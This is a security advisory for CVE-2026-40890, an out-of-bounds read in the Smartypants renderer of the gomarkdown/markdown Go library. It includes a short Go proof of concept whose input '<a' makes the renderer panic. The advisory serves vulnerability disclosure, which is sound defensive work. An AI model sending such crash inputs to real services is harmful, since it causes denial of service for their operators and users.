CVE-2026-40890: github.com/gomarkdown/markdown: Out-of-bounds Read in SmartypantsRenderer

Summary

Processing a malformed input containing a < character that is not followed by a > character anywhere in the remaining text with a SmartypantsRenderer will lead to Out of Bounds read or a panic.

Details

The smartLeftAngle() function in html/smartypants.go:367-376 performs an out-of-bounds slice operation when processing a < character that is not followed by a > character anywhere in the remaining text. https://github.com/gomarkdown/markdown/blob/37c66b85d6ab025ba67a73ba03b7f3ef55859cca/html/smartypants.go#L367-L376 If the length of the slice is lower than its capacity, this leads to an extra byte of data read. If the length equals the capacity, this leads to a panic.

PoC golang package main

import ( "bytes" "fmt"

"github.com/gomarkdown/markdown/html" )

func main() { src := []byte("<a")

fmt.Printf("Input: %q (len=%d, cap=%d)\n", src, len(src), cap(src))

var buf bytes.Buffer sp := html.NewSmartypantsRenderer(html.Smartypants) sp.Process(&buf, src) // panics: slice bounds out of range

fmt.Printf("Output: %q\n", buf.String()) }

Impact This vulnerability will lead to a Denial of Service / panic on the processing service.

-- The Datadog Security Team